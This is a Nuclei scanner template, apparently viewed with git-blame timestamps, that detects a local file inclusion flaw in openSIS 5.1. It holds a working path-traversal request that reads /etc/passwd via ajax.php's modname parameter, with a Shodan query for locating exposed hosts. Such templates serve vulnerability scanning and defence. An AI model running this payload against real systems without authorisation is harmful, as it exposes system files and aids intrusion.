2021-07-27 00:43:02 +00:00
id : opensis-lfi
info :
2022-08-05 13:57:51 +00:00
name : openSIS 5.1 - Local File Inclusion
2021-07-27 00:43:02 +00:00
author : pikpikcu
severity : high
2022-08-05 13:57:51 +00:00
description : openSIS 5.1 is vulnerable to local file inclusion and allows attackers to obtain potentially sensitive information by executing arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.
2021-08-19 13:59:12 +00:00
reference :
2021-07-27 00:43:02 +00:00
- https://www.exploit-db.com/exploits/38039
2022-08-05 13:57:51 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-22
2023-10-14 11:27:55 +00:00
metadata :
max-request : 2
shodan-query : http.title:"openSIS"
2022-08-27 04:41:18 +00:00
tags : opensis,lfi,edb
2021-07-27 00:43:02 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-27 00:43:02 +00:00
- method : GET
path :
2021-07-27 01:07:21 +00:00
- "{{BaseURL}}/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php"
- "{{BaseURL}}/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php"
2021-07-27 00:43:02 +00:00
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0"
- type : status
status :
2021-07-27 01:07:21 +00:00
- 200
2023-10-20 11:41:13 +00:00
# digest: 490a004630440220552bd7a5bd679c8a83d22f7baac91048f75315e670f5f1c8d7ac267057aaa3ee02201338f6a795463b5e1371f0408ded3f16c7e0a329ea7ec550725db0d9117168d1:922c64590222798bb761d5b6d8e72950
